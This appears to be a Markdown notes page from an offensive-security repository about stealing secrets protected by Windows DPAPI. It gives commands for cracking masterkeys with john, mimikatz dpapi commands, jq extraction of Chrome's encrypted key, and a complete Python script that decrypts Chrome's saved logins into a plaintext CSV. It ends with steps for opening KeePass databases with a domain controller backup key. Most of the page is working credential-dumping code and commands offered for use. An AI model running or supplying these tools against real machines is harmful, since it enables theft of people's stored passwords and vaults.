187 lines
7.8 KiB
Markdown
187 lines
7.8 KiB
Markdown
# DPAPI
|
|
|
|
* [Jarno Baselier](https://jarnobaselier-nl.translate.goog/crack-dpapi-met-cqure-cqtools/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=nui)
|
|
* [Insecurity's take](https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-with-tooling-standalone-dpapi/#The_DPAPILAB-NG_Toolset)
|
|
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
|
|
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
|
|
|
|
## Extract DPAPI Masterkey from AppData
|
|
|
|
First find the user passwords inside `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterkeyFile>`
|
|
|
|
```sh
|
|
DPAPImk2john --sid <SID> --masterkey <PathToMasterKeyFile> --context local > hash.txt
|
|
john --wordlist=<wordlist> hash.txt
|
|
```
|
|
|
|
Use mimikatz on windows to extract the masterkey after the password has been discovered.
|
|
|
|
```sh
|
|
mimikatz
|
|
dpapi::masterkey /in:<AbsolutePathtoMasterKeyFile> /sid:<SID> /password:<password> /protected
|
|
```
|
|
|
|
This master key is used to derive keys for encryption or encrypt other keys
|
|
instead of just encrypting files directly through DPAPI.
|
|
|
|
## Use a DPAPI Masterkey to Decrypt an Encrypted Blob
|
|
|
|
The found masterkey can be used to decrypt encrypted data or even other keys
|
|
which are used for file encryption.
|
|
Use mimikatz to extract data/keys from an encrypted blob.
|
|
|
|
```sh
|
|
mimikatz
|
|
dpapi::blob /in:<AbsolutePathtoEncryptedFile> /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted_blob"
|
|
```
|
|
|
|
### Use of DPAPI in Google Chrome
|
|
|
|
Google Chrome encrypts the key of which is used for password vaults of the
|
|
users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI
|
|
encrypted key. Get the key through using jq.
|
|
|
|
```sh
|
|
jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State
|
|
```
|
|
|
|
The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64
|
|
decode it at first and remove the first 5 characters, which are `DPAPI` from
|
|
the decoded string.
|
|
|
|
```sh
|
|
jq .os_crypt.encrypted_key -r \
|
|
AppData/Local/Google/Chrome/User\ Data/\Local\ State | \
|
|
base64 -d | \
|
|
cut -c-6- > encrypted_key.dat
|
|
```
|
|
|
|
This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside
|
|
`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`.
|
|
|
|
```sh
|
|
mimikatz
|
|
dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted.key"
|
|
```
|
|
|
|
Decrypt the Database via a modified version of
|
|
[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending
|
|
on the following circumstances.
|
|
|
|
* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack
|
|
* Modify the column names of select query, depending on the version of Chrome
|
|
|
|
```python
|
|
#Full Credits to LimerBoy
|
|
import os
|
|
import re
|
|
import sys
|
|
import json
|
|
import base64
|
|
import sqlite3
|
|
import win32crypt
|
|
from Cryptodome.Cipher import AES
|
|
import shutil
|
|
import csv
|
|
|
|
#GLOBAL CONSTANT
|
|
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
|
|
CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
|
|
|
|
def get_secret_key():
|
|
with open('./decrypted.key', 'rb') as f:
|
|
return f.read()
|
|
|
|
def decrypt_payload(cipher, payload):
|
|
return cipher.decrypt(payload)
|
|
|
|
def generate_cipher(aes_key, iv):
|
|
return AES.new(aes_key, AES.MODE_GCM, iv)
|
|
|
|
def decrypt_password(ciphertext, secret_key):
|
|
try:
|
|
#(3-a) Initialisation vector for AES decryption
|
|
initialisation_vector = ciphertext[3:15]
|
|
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
|
|
#Encrypted password is 192 bits
|
|
encrypted_password = ciphertext[15:-16]
|
|
#(4) Build the cipher to decrypt the ciphertext
|
|
cipher = generate_cipher(secret_key, initialisation_vector)
|
|
decrypted_pass = decrypt_payload(cipher, encrypted_password)
|
|
decrypted_pass = decrypted_pass.decode()
|
|
return decrypted_pass
|
|
except Exception as e:
|
|
print("%s"%str(e))
|
|
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
|
|
return ""
|
|
|
|
def get_db_connection(chrome_path_login_db):
|
|
try:
|
|
print(chrome_path_login_db)
|
|
shutil.copy2(chrome_path_login_db, "Loginvault.db")
|
|
return sqlite3.connect("Loginvault.db")
|
|
except Exception as e:
|
|
print("%s"%str(e))
|
|
print("[ERR] Chrome database cannot be found")
|
|
return None
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
#Create Dataframe to store passwords
|
|
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
|
|
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
|
|
csv_writer.writerow(["index","url","username","password"])
|
|
#(1) Get secret key
|
|
secret_key = get_secret_key()
|
|
#Search user profile or default folder (this is where the encrypted login password is stored)
|
|
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
|
|
for folder in folders:
|
|
#(2) Get ciphertext from sqlite database
|
|
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
|
|
conn = get_db_connection(chrome_path_login_db)
|
|
if(secret_key and conn):
|
|
cursor = conn.cursor()
|
|
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
|
for index,login in enumerate(cursor.fetchall()):
|
|
url = login[0]
|
|
username = login[1]
|
|
ciphertext = login[2]
|
|
if(url!="" and username!="" and ciphertext!=""):
|
|
#(3) Filter the initialisation vector & encrypted password from ciphertext
|
|
#(4) Use AES algorithm to decrypt the password
|
|
decrypted_password = decrypt_password(ciphertext, secret_key)
|
|
print("Sequence: %d"%(index))
|
|
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
|
|
print("*"*50)
|
|
#(5) Save into CSV
|
|
csv_writer.writerow([index,url,username,decrypted_password])
|
|
#Close database connection
|
|
cursor.close()
|
|
conn.close()
|
|
#Delete temp login db
|
|
os.remove("Loginvault.db")
|
|
except Exception as e:
|
|
print("[ERR] %s"%str(e))
|
|
```
|
|
|
|
## Other Tools
|
|
|
|
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
|
|
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
|
|
* Use [CQTools](https://github.com/paulacqure/CQTools.git) with care, __CQMasterKeyAD.exe__ does not work correctly. It will drive you mad. Here is the workaround
|
|
Pressuposition is, you want to decrypt a blob with a masterkey, e.g. Keepass which is saved with windows logon DPAPI
|
|
* Get the pvk backup key from the DC via mimikatz
|
|
* Get the entropy via `CQTools/CQDPAPIKeePassDecryptor/CQDPAPIKeePassDBDecryptor.exe`
|
|
* Get the encrypted blob
|
|
* Get the user's Masterkey under `C:\users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\`
|
|
* Use dpapilab-ng's `keepassdec.py`
|
|
```sh
|
|
./keepassdec.py --masterkey=path/to/masterkey/ -k /path/to/backup/key/ntds_capi_0_07ea03b4-3b28-4270-8862-0bc66dacef1a.keyx.rsa.pvk --entropy_hex=<found entropy> --sid=S-1-5-21-555431066-3599073733-176599750-1125 path/to/blob.bin
|
|
```
|
|
* Use the decrypted blob to
|
|
```sh
|
|
CQDPAPIKeePassDBDecryptor.exe /k <key> /f <file>.kdbx
|
|
```
|
|
* Open the `*.kdbx` file
|
|
|